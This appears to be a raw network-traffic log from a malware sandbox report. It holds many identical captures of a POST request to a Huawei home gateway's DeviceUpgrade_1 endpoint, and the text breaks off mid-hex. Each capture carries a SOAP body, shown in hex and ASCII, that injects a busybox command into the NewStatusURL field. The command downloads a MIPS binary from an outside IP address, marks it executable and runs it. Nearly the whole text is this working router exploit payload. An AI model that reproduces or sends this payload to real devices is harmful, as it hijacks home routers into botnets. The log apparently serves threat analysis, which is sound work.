64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 